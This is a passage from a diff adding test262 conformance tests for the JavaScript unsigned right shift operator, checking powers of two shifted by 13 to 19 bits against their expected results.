+ $ERROR('#419: 4 >>> 13 === 0. Actual: ' + (4 >>> 13));
+}
+
+
+if (8 >>> 13 !== 0) {
+ $ERROR('#420: 8 >>> 13 === 0. Actual: ' + (8 >>> 13));
+}
+
+
+if (16 >>> 13 !== 0) {
+ $ERROR('#421: 16 >>> 13 === 0. Actual: ' + (16 >>> 13));
+}
+
+
+if (32 >>> 13 !== 0) {
+ $ERROR('#422: 32 >>> 13 === 0. Actual: ' + (32 >>> 13));
+}
+
+
+if (64 >>> 13 !== 0) {
+ $ERROR('#423: 64 >>> 13 === 0. Actual: ' + (64 >>> 13));
+}
+
+
+if (128 >>> 13 !== 0) {
+ $ERROR('#424: 128 >>> 13 === 0. Actual: ' + (128 >>> 13));
+}
+
+
+if (256 >>> 13 !== 0) {
+ $ERROR('#425: 256 >>> 13 === 0. Actual: ' + (256 >>> 13));
+}
+
+
+if (512 >>> 13 !== 0) {
+ $ERROR('#426: 512 >>> 13 === 0. Actual: ' + (512 >>> 13));
+}
+
+
+if (1024 >>> 13 !== 0) {
+ $ERROR('#427: 1024 >>> 13 === 0. Actual: ' + (1024 >>> 13));
+}
+
+
+if (2048 >>> 13 !== 0) {
+ $ERROR('#428: 2048 >>> 13 === 0. Actual: ' + (2048 >>> 13));
+}
+
+
+if (4096 >>> 13 !== 0) {
+ $ERROR('#429: 4096 >>> 13 === 0. Actual: ' + (4096 >>> 13));
+}
+
+
+if (8192 >>> 13 !== 1) {
+ $ERROR('#430: 8192 >>> 13 === 1. Actual: ' + (8192 >>> 13));
+}
+
+
+if (16384 >>> 13 !== 2) {
+ $ERROR('#431: 16384 >>> 13 === 2. Actual: ' + (16384 >>> 13));
+}
+
+
+if (32768 >>> 13 !== 4) {
+ $ERROR('#432: 32768 >>> 13 === 4. Actual: ' + (32768 >>> 13));
+}
+
+
+if (65536 >>> 13 !== 8) {
+ $ERROR('#433: 65536 >>> 13 === 8. Actual: ' + (65536 >>> 13));
+}
+
+
+if (131072 >>> 13 !== 16) {
+ $ERROR('#434: 131072 >>> 13 === 16. Actual: ' + (131072 >>> 13));
+}
+
+
+if (262144 >>> 13 !== 32) {
+ $ERROR('#435: 262144 >>> 13 === 32. Actual: ' + (262144 >>> 13));
+}
+
+
+if (524288 >>> 13 !== 64) {
+ $ERROR('#436: 524288 >>> 13 === 64. Actual: ' + (524288 >>> 13));
+}
+
+
+if (1048576 >>> 13 !== 128) {
+ $ERROR('#437: 1048576 >>> 13 === 128. Actual: ' + (1048576 >>> 13));
+}
+
+
+if (2097152 >>> 13 !== 256) {
+ $ERROR('#438: 2097152 >>> 13 === 256. Actual: ' + (2097152 >>> 13));
+}
+
+
+if (4194304 >>> 13 !== 512) {
+ $ERROR('#439: 4194304 >>> 13 === 512. Actual: ' + (4194304 >>> 13));
+}
+
+
+if (8388608 >>> 13 !== 1024) {
+ $ERROR('#440: 8388608 >>> 13 === 1024. Actual: ' + (8388608 >>> 13));
+}
+
+
+if (16777216 >>> 13 !== 2048) {
+ $ERROR('#441: 16777216 >>> 13 === 2048. Actual: ' + (16777216 >>> 13));
+}
+
+
+if (33554432 >>> 13 !== 4096) {
+ $ERROR('#442: 33554432 >>> 13 === 4096. Actual: ' + (33554432 >>> 13));
+}
+
+
+if (67108864 >>> 13 !== 8192) {
+ $ERROR('#443: 67108864 >>> 13 === 8192. Actual: ' + (67108864 >>> 13));
+}
+
+
+if (134217728 >>> 13 !== 16384) {
+ $ERROR('#444: 134217728 >>> 13 === 16384. Actual: ' + (134217728 >>> 13));
+}
+
+
+if (268435456 >>> 13 !== 32768) {
+ $ERROR('#445: 268435456 >>> 13 === 32768. Actual: ' + (268435456 >>> 13));
+}
+
+
+if (536870912 >>> 13 !== 65536) {
+ $ERROR('#446: 536870912 >>> 13 === 65536. Actual: ' + (536870912 >>> 13));
+}
+
+
+if (1073741824 >>> 13 !== 131072) {
+ $ERROR('#447: 1073741824 >>> 13 === 131072. Actual: ' + (1073741824 >>> 13));
+}
+
+
+if (2147483648 >>> 13 !== 262144) {
+ $ERROR('#448: 2147483648 >>> 13 === 262144. Actual: ' + (2147483648 >>> 13));
+}
+
+
+if (1 >>> 14 !== 0) {
+ $ERROR('#449: 1 >>> 14 === 0. Actual: ' + (1 >>> 14));
+}
+
+
+if (2 >>> 14 !== 0) {
+ $ERROR('#450: 2 >>> 14 === 0. Actual: ' + (2 >>> 14));
+}
+
+
+if (4 >>> 14 !== 0) {
+ $ERROR('#451: 4 >>> 14 === 0. Actual: ' + (4 >>> 14));
+}
+
+
+if (8 >>> 14 !== 0) {
+ $ERROR('#452: 8 >>> 14 === 0. Actual: ' + (8 >>> 14));
+}
+
+
+if (16 >>> 14 !== 0) {
+ $ERROR('#453: 16 >>> 14 === 0. Actual: ' + (16 >>> 14));
+}
+
+
+if (32 >>> 14 !== 0) {
+ $ERROR('#454: 32 >>> 14 === 0. Actual: ' + (32 >>> 14));
+}
+
+
+if (64 >>> 14 !== 0) {
+ $ERROR('#455: 64 >>> 14 === 0. Actual: ' + (64 >>> 14));
+}
+
+
+if (128 >>> 14 !== 0) {
+ $ERROR('#456: 128 >>> 14 === 0. Actual: ' + (128 >>> 14));
+}
+
+
+if (256 >>> 14 !== 0) {
+ $ERROR('#457: 256 >>> 14 === 0. Actual: ' + (256 >>> 14));
+}
+
+
+if (512 >>> 14 !== 0) {
+ $ERROR('#458: 512 >>> 14 === 0. Actual: ' + (512 >>> 14));
+}
+
+
+if (1024 >>> 14 !== 0) {
+ $ERROR('#459: 1024 >>> 14 === 0. Actual: ' + (1024 >>> 14));
+}
+
+
+if (2048 >>> 14 !== 0) {
+ $ERROR('#460: 2048 >>> 14 === 0. Actual: ' + (2048 >>> 14));
+}
+
+
+if (4096 >>> 14 !== 0) {
+ $ERROR('#461: 4096 >>> 14 === 0. Actual: ' + (4096 >>> 14));
+}
+
+
+if (8192 >>> 14 !== 0) {
+ $ERROR('#462: 8192 >>> 14 === 0. Actual: ' + (8192 >>> 14));
+}
+
+
+if (16384 >>> 14 !== 1) {
+ $ERROR('#463: 16384 >>> 14 === 1. Actual: ' + (16384 >>> 14));
+}
+
+
+if (32768 >>> 14 !== 2) {
+ $ERROR('#464: 32768 >>> 14 === 2. Actual: ' + (32768 >>> 14));
+}
+
+
+if (65536 >>> 14 !== 4) {
+ $ERROR('#465: 65536 >>> 14 === 4. Actual: ' + (65536 >>> 14));
+}
+
+
+if (131072 >>> 14 !== 8) {
+ $ERROR('#466: 131072 >>> 14 === 8. Actual: ' + (131072 >>> 14));
+}
+
+
+if (262144 >>> 14 !== 16) {
+ $ERROR('#467: 262144 >>> 14 === 16. Actual: ' + (262144 >>> 14));
+}
+
+
+if (524288 >>> 14 !== 32) {
+ $ERROR('#468: 524288 >>> 14 === 32. Actual: ' + (524288 >>> 14));
+}
+
+
+if (1048576 >>> 14 !== 64) {
+ $ERROR('#469: 1048576 >>> 14 === 64. Actual: ' + (1048576 >>> 14));
+}
+
+
+if (2097152 >>> 14 !== 128) {
+ $ERROR('#470: 2097152 >>> 14 === 128. Actual: ' + (2097152 >>> 14));
+}
+
+
+if (4194304 >>> 14 !== 256) {
+ $ERROR('#471: 4194304 >>> 14 === 256. Actual: ' + (4194304 >>> 14));
+}
+
+
+if (8388608 >>> 14 !== 512) {
+ $ERROR('#472: 8388608 >>> 14 === 512. Actual: ' + (8388608 >>> 14));
+}
+
+
+if (16777216 >>> 14 !== 1024) {
+ $ERROR('#473: 16777216 >>> 14 === 1024. Actual: ' + (16777216 >>> 14));
+}
+
+
+if (33554432 >>> 14 !== 2048) {
+ $ERROR('#474: 33554432 >>> 14 === 2048. Actual: ' + (33554432 >>> 14));
+}
+
+
+if (67108864 >>> 14 !== 4096) {
+ $ERROR('#475: 67108864 >>> 14 === 4096. Actual: ' + (67108864 >>> 14));
+}
+
+
+if (134217728 >>> 14 !== 8192) {
+ $ERROR('#476: 134217728 >>> 14 === 8192. Actual: ' + (134217728 >>> 14));
+}
+
+
+if (268435456 >>> 14 !== 16384) {
+ $ERROR('#477: 268435456 >>> 14 === 16384. Actual: ' + (268435456 >>> 14));
+}
+
+
+if (536870912 >>> 14 !== 32768) {
+ $ERROR('#478: 536870912 >>> 14 === 32768. Actual: ' + (536870912 >>> 14));
+}
+
+
+if (1073741824 >>> 14 !== 65536) {
+ $ERROR('#479: 1073741824 >>> 14 === 65536. Actual: ' + (1073741824 >>> 14));
+}
+
+
+if (2147483648 >>> 14 !== 131072) {
+ $ERROR('#480: 2147483648 >>> 14 === 131072. Actual: ' + (2147483648 >>> 14));
+}
+
+
+if (1 >>> 15 !== 0) {
+ $ERROR('#481: 1 >>> 15 === 0. Actual: ' + (1 >>> 15));
+}
+
+
+if (2 >>> 15 !== 0) {
+ $ERROR('#482: 2 >>> 15 === 0. Actual: ' + (2 >>> 15));
+}
+
+
+if (4 >>> 15 !== 0) {
+ $ERROR('#483: 4 >>> 15 === 0. Actual: ' + (4 >>> 15));
+}
+
+
+if (8 >>> 15 !== 0) {
+ $ERROR('#484: 8 >>> 15 === 0. Actual: ' + (8 >>> 15));
+}
+
+
+if (16 >>> 15 !== 0) {
+ $ERROR('#485: 16 >>> 15 === 0. Actual: ' + (16 >>> 15));
+}
+
+
+if (32 >>> 15 !== 0) {
+ $ERROR('#486: 32 >>> 15 === 0. Actual: ' + (32 >>> 15));
+}
+
+
+if (64 >>> 15 !== 0) {
+ $ERROR('#487: 64 >>> 15 === 0. Actual: ' + (64 >>> 15));
+}
+
+
+if (128 >>> 15 !== 0) {
+ $ERROR('#488: 128 >>> 15 === 0. Actual: ' + (128 >>> 15));
+}
+
+
+if (256 >>> 15 !== 0) {
+ $ERROR('#489: 256 >>> 15 === 0. Actual: ' + (256 >>> 15));
+}
+
+
+if (512 >>> 15 !== 0) {
+ $ERROR('#490: 512 >>> 15 === 0. Actual: ' + (512 >>> 15));
+}
+
+
+if (1024 >>> 15 !== 0) {
+ $ERROR('#491: 1024 >>> 15 === 0. Actual: ' + (1024 >>> 15));
+}
+
+
+if (2048 >>> 15 !== 0) {
+ $ERROR('#492: 2048 >>> 15 === 0. Actual: ' + (2048 >>> 15));
+}
+
+
+if (4096 >>> 15 !== 0) {
+ $ERROR('#493: 4096 >>> 15 === 0. Actual: ' + (4096 >>> 15));
+}
+
+
+if (8192 >>> 15 !== 0) {
+ $ERROR('#494: 8192 >>> 15 === 0. Actual: ' + (8192 >>> 15));
+}
+
+
+if (16384 >>> 15 !== 0) {
+ $ERROR('#495: 16384 >>> 15 === 0. Actual: ' + (16384 >>> 15));
+}
+
+
+if (32768 >>> 15 !== 1) {
+ $ERROR('#496: 32768 >>> 15 === 1. Actual: ' + (32768 >>> 15));
+}
+
+
+if (65536 >>> 15 !== 2) {
+ $ERROR('#497: 65536 >>> 15 === 2. Actual: ' + (65536 >>> 15));
+}
+
+
+if (131072 >>> 15 !== 4) {
+ $ERROR('#498: 131072 >>> 15 === 4. Actual: ' + (131072 >>> 15));
+}
+
+
+if (262144 >>> 15 !== 8) {
+ $ERROR('#499: 262144 >>> 15 === 8. Actual: ' + (262144 >>> 15));
+}
+
+
+if (524288 >>> 15 !== 16) {
+ $ERROR('#500: 524288 >>> 15 === 16. Actual: ' + (524288 >>> 15));
+}
+
+
+if (1048576 >>> 15 !== 32) {
+ $ERROR('#501: 1048576 >>> 15 === 32. Actual: ' + (1048576 >>> 15));
+}
+
+
+if (2097152 >>> 15 !== 64) {
+ $ERROR('#502: 2097152 >>> 15 === 64. Actual: ' + (2097152 >>> 15));
+}
+
+
+if (4194304 >>> 15 !== 128) {
+ $ERROR('#503: 4194304 >>> 15 === 128. Actual: ' + (4194304 >>> 15));
+}
+
+
+if (8388608 >>> 15 !== 256) {
+ $ERROR('#504: 8388608 >>> 15 === 256. Actual: ' + (8388608 >>> 15));
+}
+
+
+if (16777216 >>> 15 !== 512) {
+ $ERROR('#505: 16777216 >>> 15 === 512. Actual: ' + (16777216 >>> 15));
+}
+
+
+if (33554432 >>> 15 !== 1024) {
+ $ERROR('#506: 33554432 >>> 15 === 1024. Actual: ' + (33554432 >>> 15));
+}
+
+
+if (67108864 >>> 15 !== 2048) {
+ $ERROR('#507: 67108864 >>> 15 === 2048. Actual: ' + (67108864 >>> 15));
+}
+
+
+if (134217728 >>> 15 !== 4096) {
+ $ERROR('#508: 134217728 >>> 15 === 4096. Actual: ' + (134217728 >>> 15));
+}
+
+
+if (268435456 >>> 15 !== 8192) {
+ $ERROR('#509: 268435456 >>> 15 === 8192. Actual: ' + (268435456 >>> 15));
+}
+
+
+if (536870912 >>> 15 !== 16384) {
+ $ERROR('#510: 536870912 >>> 15 === 16384. Actual: ' + (536870912 >>> 15));
+}
+
+
+if (1073741824 >>> 15 !== 32768) {
+ $ERROR('#511: 1073741824 >>> 15 === 32768. Actual: ' + (1073741824 >>> 15));
+}
+
+
+if (2147483648 >>> 15 !== 65536) {
+ $ERROR('#512: 2147483648 >>> 15 === 65536. Actual: ' + (2147483648 >>> 15));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A4_T2.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A4_T2.js
new file mode 100644
index 000000000..641360776
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A4_T2.js
@@ -0,0 +1,2571 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check operator x >>> y in distinct points
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A4_T2.js
+ * @description ShiftExpression = 2^n - 1, n = 16...31
+ */
+
+//CHECK
+
+if (1 >>> 16 !== 0) {
+ $ERROR('#513: 1 >>> 16 === 0. Actual: ' + (1 >>> 16));
+}
+
+
+if (2 >>> 16 !== 0) {
+ $ERROR('#514: 2 >>> 16 === 0. Actual: ' + (2 >>> 16));
+}
+
+
+if (4 >>> 16 !== 0) {
+ $ERROR('#515: 4 >>> 16 === 0. Actual: ' + (4 >>> 16));
+}
+
+
+if (8 >>> 16 !== 0) {
+ $ERROR('#516: 8 >>> 16 === 0. Actual: ' + (8 >>> 16));
+}
+
+
+if (16 >>> 16 !== 0) {
+ $ERROR('#517: 16 >>> 16 === 0. Actual: ' + (16 >>> 16));
+}
+
+
+if (32 >>> 16 !== 0) {
+ $ERROR('#518: 32 >>> 16 === 0. Actual: ' + (32 >>> 16));
+}
+
+
+if (64 >>> 16 !== 0) {
+ $ERROR('#519: 64 >>> 16 === 0. Actual: ' + (64 >>> 16));
+}
+
+
+if (128 >>> 16 !== 0) {
+ $ERROR('#520: 128 >>> 16 === 0. Actual: ' + (128 >>> 16));
+}
+
+
+if (256 >>> 16 !== 0) {
+ $ERROR('#521: 256 >>> 16 === 0. Actual: ' + (256 >>> 16));
+}
+
+
+if (512 >>> 16 !== 0) {
+ $ERROR('#522: 512 >>> 16 === 0. Actual: ' + (512 >>> 16));
+}
+
+
+if (1024 >>> 16 !== 0) {
+ $ERROR('#523: 1024 >>> 16 === 0. Actual: ' + (1024 >>> 16));
+}
+
+
+if (2048 >>> 16 !== 0) {
+ $ERROR('#524: 2048 >>> 16 === 0. Actual: ' + (2048 >>> 16));
+}
+
+
+if (4096 >>> 16 !== 0) {
+ $ERROR('#525: 4096 >>> 16 === 0. Actual: ' + (4096 >>> 16));
+}
+
+
+if (8192 >>> 16 !== 0) {
+ $ERROR('#526: 8192 >>> 16 === 0. Actual: ' + (8192 >>> 16));
+}
+
+
+if (16384 >>> 16 !== 0) {
+ $ERROR('#527: 16384 >>> 16 === 0. Actual: ' + (16384 >>> 16));
+}
+
+
+if (32768 >>> 16 !== 0) {
+ $ERROR('#528: 32768 >>> 16 === 0. Actual: ' + (32768 >>> 16));
+}
+
+
+if (65536 >>> 16 !== 1) {
+ $ERROR('#529: 65536 >>> 16 === 1. Actual: ' + (65536 >>> 16));
+}
+
+
+if (131072 >>> 16 !== 2) {
+ $ERROR('#530: 131072 >>> 16 === 2. Actual: ' + (131072 >>> 16));
+}
+
+
+if (262144 >>> 16 !== 4) {
+ $ERROR('#531: 262144 >>> 16 === 4. Actual: ' + (262144 >>> 16));
+}
+
+
+if (524288 >>> 16 !== 8) {
+ $ERROR('#532: 524288 >>> 16 === 8. Actual: ' + (524288 >>> 16));
+}
+
+
+if (1048576 >>> 16 !== 16) {
+ $ERROR('#533: 1048576 >>> 16 === 16. Actual: ' + (1048576 >>> 16));
+}
+
+
+if (2097152 >>> 16 !== 32) {
+ $ERROR('#534: 2097152 >>> 16 === 32. Actual: ' + (2097152 >>> 16));
+}
+
+
+if (4194304 >>> 16 !== 64) {
+ $ERROR('#535: 4194304 >>> 16 === 64. Actual: ' + (4194304 >>> 16));
+}
+
+
+if (8388608 >>> 16 !== 128) {
+ $ERROR('#536: 8388608 >>> 16 === 128. Actual: ' + (8388608 >>> 16));
+}
+
+
+if (16777216 >>> 16 !== 256) {
+ $ERROR('#537: 16777216 >>> 16 === 256. Actual: ' + (16777216 >>> 16));
+}
+
+
+if (33554432 >>> 16 !== 512) {
+ $ERROR('#538: 33554432 >>> 16 === 512. Actual: ' + (33554432 >>> 16));
+}
+
+
+if (67108864 >>> 16 !== 1024) {
+ $ERROR('#539: 67108864 >>> 16 === 1024. Actual: ' + (67108864 >>> 16));
+}
+
+
+if (134217728 >>> 16 !== 2048) {
+ $ERROR('#540: 134217728 >>> 16 === 2048. Actual: ' + (134217728 >>> 16));
+}
+
+
+if (268435456 >>> 16 !== 4096) {
+ $ERROR('#541: 268435456 >>> 16 === 4096. Actual: ' + (268435456 >>> 16));
+}
+
+
+if (536870912 >>> 16 !== 8192) {
+ $ERROR('#542: 536870912 >>> 16 === 8192. Actual: ' + (536870912 >>> 16));
+}
+
+
+if (1073741824 >>> 16 !== 16384) {
+ $ERROR('#543: 1073741824 >>> 16 === 16384. Actual: ' + (1073741824 >>> 16));
+}
+
+
+if (2147483648 >>> 16 !== 32768) {
+ $ERROR('#544: 2147483648 >>> 16 === 32768. Actual: ' + (2147483648 >>> 16));
+}
+
+
+if (1 >>> 17 !== 0) {
+ $ERROR('#545: 1 >>> 17 === 0. Actual: ' + (1 >>> 17));
+}
+
+
+if (2 >>> 17 !== 0) {
+ $ERROR('#546: 2 >>> 17 === 0. Actual: ' + (2 >>> 17));
+}
+
+
+if (4 >>> 17 !== 0) {
+ $ERROR('#547: 4 >>> 17 === 0. Actual: ' + (4 >>> 17));
+}
+
+
+if (8 >>> 17 !== 0) {
+ $ERROR('#548: 8 >>> 17 === 0. Actual: ' + (8 >>> 17));
+}
+
+
+if (16 >>> 17 !== 0) {
+ $ERROR('#549: 16 >>> 17 === 0. Actual: ' + (16 >>> 17));
+}
+
+
+if (32 >>> 17 !== 0) {
+ $ERROR('#550: 32 >>> 17 === 0. Actual: ' + (32 >>> 17));
+}
+
+
+if (64 >>> 17 !== 0) {
+ $ERROR('#551: 64 >>> 17 === 0. Actual: ' + (64 >>> 17));
+}
+
+
+if (128 >>> 17 !== 0) {
+ $ERROR('#552: 128 >>> 17 === 0. Actual: ' + (128 >>> 17));
+}
+
+
+if (256 >>> 17 !== 0) {
+ $ERROR('#553: 256 >>> 17 === 0. Actual: ' + (256 >>> 17));
+}
+
+
+if (512 >>> 17 !== 0) {
+ $ERROR('#554: 512 >>> 17 === 0. Actual: ' + (512 >>> 17));
+}
+
+
+if (1024 >>> 17 !== 0) {
+ $ERROR('#555: 1024 >>> 17 === 0. Actual: ' + (1024 >>> 17));
+}
+
+
+if (2048 >>> 17 !== 0) {
+ $ERROR('#556: 2048 >>> 17 === 0. Actual: ' + (2048 >>> 17));
+}
+
+
+if (4096 >>> 17 !== 0) {
+ $ERROR('#557: 4096 >>> 17 === 0. Actual: ' + (4096 >>> 17));
+}
+
+
+if (8192 >>> 17 !== 0) {
+ $ERROR('#558: 8192 >>> 17 === 0. Actual: ' + (8192 >>> 17));
+}
+
+
+if (16384 >>> 17 !== 0) {
+ $ERROR('#559: 16384 >>> 17 === 0. Actual: ' + (16384 >>> 17));
+}
+
+
+if (32768 >>> 17 !== 0) {
+ $ERROR('#560: 32768 >>> 17 === 0. Actual: ' + (32768 >>> 17));
+}
+
+
+if (65536 >>> 17 !== 0) {
+ $ERROR('#561: 65536 >>> 17 === 0. Actual: ' + (65536 >>> 17));
+}
+
+
+if (131072 >>> 17 !== 1) {
+ $ERROR('#562: 131072 >>> 17 === 1. Actual: ' + (131072 >>> 17));
+}
+
+
+if (262144 >>> 17 !== 2) {
+ $ERROR('#563: 262144 >>> 17 === 2. Actual: ' + (262144 >>> 17));
+}
+
+
+if (524288 >>> 17 !== 4) {
+ $ERROR('#564: 524288 >>> 17 === 4. Actual: ' + (524288 >>> 17));
+}
+
+
+if (1048576 >>> 17 !== 8) {
+ $ERROR('#565: 1048576 >>> 17 === 8. Actual: ' + (1048576 >>> 17));
+}
+
+
+if (2097152 >>> 17 !== 16) {
+ $ERROR('#566: 2097152 >>> 17 === 16. Actual: ' + (2097152 >>> 17));
+}
+
+
+if (4194304 >>> 17 !== 32) {
+ $ERROR('#567: 4194304 >>> 17 === 32. Actual: ' + (4194304 >>> 17));
+}
+
+
+if (8388608 >>> 17 !== 64) {
+ $ERROR('#568: 8388608 >>> 17 === 64. Actual: ' + (8388608 >>> 17));
+}
+
+
+if (16777216 >>> 17 !== 128) {
+ $ERROR('#569: 16777216 >>> 17 === 128. Actual: ' + (16777216 >>> 17));
+}
+
+
+if (33554432 >>> 17 !== 256) {
+ $ERROR('#570: 33554432 >>> 17 === 256. Actual: ' + (33554432 >>> 17));
+}
+
+
+if (67108864 >>> 17 !== 512) {
+ $ERROR('#571: 67108864 >>> 17 === 512. Actual: ' + (67108864 >>> 17));
+}
+
+
+if (134217728 >>> 17 !== 1024) {
+ $ERROR('#572: 134217728 >>> 17 === 1024. Actual: ' + (134217728 >>> 17));
+}
+
+
+if (268435456 >>> 17 !== 2048) {
+ $ERROR('#573: 268435456 >>> 17 === 2048. Actual: ' + (268435456 >>> 17));
+}
+
+
+if (536870912 >>> 17 !== 4096) {
+ $ERROR('#574: 536870912 >>> 17 === 4096. Actual: ' + (536870912 >>> 17));
+}
+
+
+if (1073741824 >>> 17 !== 8192) {
+ $ERROR('#575: 1073741824 >>> 17 === 8192. Actual: ' + (1073741824 >>> 17));
+}
+
+
+if (2147483648 >>> 17 !== 16384) {
+ $ERROR('#576: 2147483648 >>> 17 === 16384. Actual: ' + (2147483648 >>> 17));
+}
+
+
+if (1 >>> 18 !== 0) {
+ $ERROR('#577: 1 >>> 18 === 0. Actual: ' + (1 >>> 18));
+}
+
+
+if (2 >>> 18 !== 0) {
+ $ERROR('#578: 2 >>> 18 === 0. Actual: ' + (2 >>> 18));
+}
+
+
+if (4 >>> 18 !== 0) {
+ $ERROR('#579: 4 >>> 18 === 0. Actual: ' + (4 >>> 18));
+}
+
+
+if (8 >>> 18 !== 0) {
+ $ERROR('#580: 8 >>> 18 === 0. Actual: ' + (8 >>> 18));
+}
+
+
+if (16 >>> 18 !== 0) {
+ $ERROR('#581: 16 >>> 18 === 0. Actual: ' + (16 >>> 18));
+}
+
+
+if (32 >>> 18 !== 0) {
+ $ERROR('#582: 32 >>> 18 === 0. Actual: ' + (32 >>> 18));
+}
+
+
+if (64 >>> 18 !== 0) {
+ $ERROR('#583: 64 >>> 18 === 0. Actual: ' + (64 >>> 18));
+}
+
+
+if (128 >>> 18 !== 0) {
+ $ERROR('#584: 128 >>> 18 === 0. Actual: ' + (128 >>> 18));
+}
+
+
+if (256 >>> 18 !== 0) {
+ $ERROR('#585: 256 >>> 18 === 0. Actual: ' + (256 >>> 18));
+}
+
+
+if (512 >>> 18 !== 0) {
+ $ERROR('#586: 512 >>> 18 === 0. Actual: ' + (512 >>> 18));
+}
+
+
+if (1024 >>> 18 !== 0) {
+ $ERROR('#587: 1024 >>> 18 === 0. Actual: ' + (1024 >>> 18));
+}
+
+
+if (2048 >>> 18 !== 0) {
+ $ERROR('#588: 2048 >>> 18 === 0. Actual: ' + (2048 >>> 18));
+}
+
+
+if (4096 >>> 18 !== 0) {
+ $ERROR('#589: 4096 >>> 18 === 0. Actual: ' + (4096 >>> 18));
+}
+
+
+if (8192 >>> 18 !== 0) {
+ $ERROR('#590: 8192 >>> 18 === 0. Actual: ' + (8192 >>> 18));
+}
+
+
+if (16384 >>> 18 !== 0) {
+ $ERROR('#591: 16384 >>> 18 === 0. Actual: ' + (16384 >>> 18));
+}
+
+
+if (32768 >>> 18 !== 0) {
+ $ERROR('#592: 32768 >>> 18 === 0. Actual: ' + (32768 >>> 18));
+}
+
+
+if (65536 >>> 18 !== 0) {
+ $ERROR('#593: 65536 >>> 18 === 0. Actual: ' + (65536 >>> 18));
+}
+
+
+if (131072 >>> 18 !== 0) {
+ $ERROR('#594: 131072 >>> 18 === 0. Actual: ' + (131072 >>> 18));
+}
+
+
+if (262144 >>> 18 !== 1) {
+ $ERROR('#595: 262144 >>> 18 === 1. Actual: ' + (262144 >>> 18));
+}
+
+
+if (524288 >>> 18 !== 2) {
+ $ERROR('#596: 524288 >>> 18 === 2. Actual: ' + (524288 >>> 18));
+}
+
+
+if (1048576 >>> 18 !== 4) {
+ $ERROR('#597: 1048576 >>> 18 === 4. Actual: ' + (1048576 >>> 18));
+}
+
+
+if (2097152 >>> 18 !== 8) {
+ $ERROR('#598: 2097152 >>> 18 === 8. Actual: ' + (2097152 >>> 18));
+}
+
+
+if (4194304 >>> 18 !== 16) {
+ $ERROR('#599: 4194304 >>> 18 === 16. Actual: ' + (4194304 >>> 18));
+}
+
+
+if (8388608 >>> 18 !== 32) {
+ $ERROR('#600: 8388608 >>> 18 === 32. Actual: ' + (8388608 >>> 18));
+}
+
+
+if (16777216 >>> 18 !== 64) {
+ $ERROR('#601: 16777216 >>> 18 === 64. Actual: ' + (16777216 >>> 18));
+}
+
+
+if (33554432 >>> 18 !== 128) {
+ $ERROR('#602: 33554432 >>> 18 === 128. Actual: ' + (33554432 >>> 18));
+}
+
+
+if (67108864 >>> 18 !== 256) {
+ $ERROR('#603: 67108864 >>> 18 === 256. Actual: ' + (67108864 >>> 18));
+}
+
+
+if (134217728 >>> 18 !== 512) {
+ $ERROR('#604: 134217728 >>> 18 === 512. Actual: ' + (134217728 >>> 18));
+}
+
+
+if (268435456 >>> 18 !== 1024) {
+ $ERROR('#605: 268435456 >>> 18 === 1024. Actual: ' + (268435456 >>> 18));
+}
+
+
+if (536870912 >>> 18 !== 2048) {
+ $ERROR('#606: 536870912 >>> 18 === 2048. Actual: ' + (536870912 >>> 18));
+}
+
+
+if (1073741824 >>> 18 !== 4096) {
+ $ERROR('#607: 1073741824 >>> 18 === 4096. Actual: ' + (1073741824 >>> 18));
+}
+
+
+if (2147483648 >>> 18 !== 8192) {
+ $ERROR('#608: 2147483648 >>> 18 === 8192. Actual: ' + (2147483648 >>> 18));
+}
+
+
+if (1 >>> 19 !== 0) {
+ $ERROR('#609: 1 >>> 19 === 0. Actual: ' + (1 >>> 19));
+}
+
+
+if (2 >>> 19 !== 0) {
+ $ERROR('#610: 2 >>> 19 === 0. Actual: ' + (2 >>> 19));
+}
+
+
+if (4 >>> 19 !== 0) {
+ $ERROR('#611: 4 >>> 19 === 0. Actual: ' + (4 >>> 19));
+}
+
+
+if (8 >>> 19 !== 0) {
+ $ERROR('#612: 8 >>> 19 === 0. Actual: ' + (8 >>> 19));
+}
+
+
+if (16 >>> 19 !== 0) {
+ $ERROR('#613: 16 >>> 19 === 0. Actual: ' + (16 >>> 19));
+}
+
+
+if (32 >>> 19 !== 0) {
+ $ERROR('#614: 32 >>> 19 === 0. Actual: ' + (32 >>> 19));
+}
+
+
+if (64 >>> 19 !== 0) {
+ $ERROR('#615: 64 >>> 19 === 0. Actual: ' + (64 >>> 19));
+}
+
+
+if (128 >>> 19 !== 0) {
+ $ERROR('#616: 128 >>> 19 === 0. Actual: ' + (128 >>> 19));
+}
+
+
+if (256 >>> 19 !== 0) {
+ $ERROR('#617: 256 >>> 19 === 0. Actual: ' + (256 >>> 19));
+}
+
+
+if (512 >>> 19 !== 0) {
+ $ERROR('#618: 512 >>> 19 === 0. Actual: ' + (512 >>> 19));
+}
+
+
+if (1024 >>> 19 !== 0) {
+ $ERROR('#619: 1024 >>> 19 === 0. Actual: ' + (1024 >>> 19));
+}
+
+
+if (2048 >>> 19 !== 0) {
+ $ERROR('#620: 2048 >>> 19 === 0. Actual: ' + (2048 >>> 19));
+}
+
+
+if (4096 >>> 19 !== 0) {
+ $ERROR('#621: 4096 >>> 19 === 0. Actual: ' + (4096 >>> 19));
+}
+
+
+if (8192 >>> 19 !== 0) {
+ $ERROR('#622: 8192 >>> 19 === 0. Actual: ' + (8192 >>> 19));
+}
+
+
+if (16384 >>> 19 !== 0) {
+ $ERROR('#623: 16384 >>> 19 === 0. Actual: ' + (16384 >>> 19));
+}
+
+
+if (32768 >>> 19 !== 0) {
+ $ERROR('#624: 32768 >>> 19 === 0. Actual: ' + (32768 >>> 19));
+}
+
+
+if (65536 >>> 19 !== 0) {
+ $ERROR('#625: 65536 >>> 19 === 0. Actual: ' + (65536 >>> 19));
+}
+
+
+if (131072 >>> 19 !== 0) {
+ $ERROR('#626: 131072 >>> 19 === 0. Actual: ' + (131072 >>> 19));
+}
+
+
+if (262144 >>> 19 !== 0) {
+ $ERROR('#627: 262144 >>> 19 === 0. Actual: ' + (262144 >>> 19));
+}
+
+
+if (524288 >>> 19 !== 1) {
+ $ERROR('#628: 524288 >>> 19 === 1. Actual: ' + (524288 >>> 19));
+}
+
+
+if (1048576 >>> 19 !== 2) {
+ $ERROR('#629: 1048576 >>> 19 === 2. Actual: ' + (1048576 >>> 19));
+}
+
+
